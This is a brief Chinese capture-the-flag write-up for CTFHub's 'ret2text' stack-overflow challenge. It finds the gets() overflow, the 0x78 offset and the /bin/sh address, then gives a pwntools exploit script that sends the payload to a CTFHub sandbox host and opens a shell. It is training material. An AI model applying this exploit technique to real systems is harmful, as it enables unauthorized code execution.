CTFHUB-PWN-ret2text

checksec

image-20211025223026580

IDA

image-20211025223114563

main函数中的gets函数有溢出漏洞,那么看一下有什么可以利用的。

查看字符串:

image-20211025223247146

发现有/bin/sh/可以利用,而且它在函数secure中:

image-20211025223403725

本来看到这样一个函数,是想要构造伪随机,预测随机值,使得v3 == v2成立,从而得到shell,但是题目名字ret2text显然是hint,那么我就使用ret2text的方法

image-20211025223932289 image-20211025223952826

覆盖该变量需要0x78的长度

再找到/bin/sh/的text段位置:

image-20211025224238503

得到0x4007B8

EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *

# p = process('pwn')
p = remote('challenge-0297c21d40a13395.sandbox.ctfhub.com', 29225)

payload = b'a' * (0x78) + p64(0x4007B8)

p.recv()
p.sendline(payload)
p.interactive()

结果

image-20211025224443229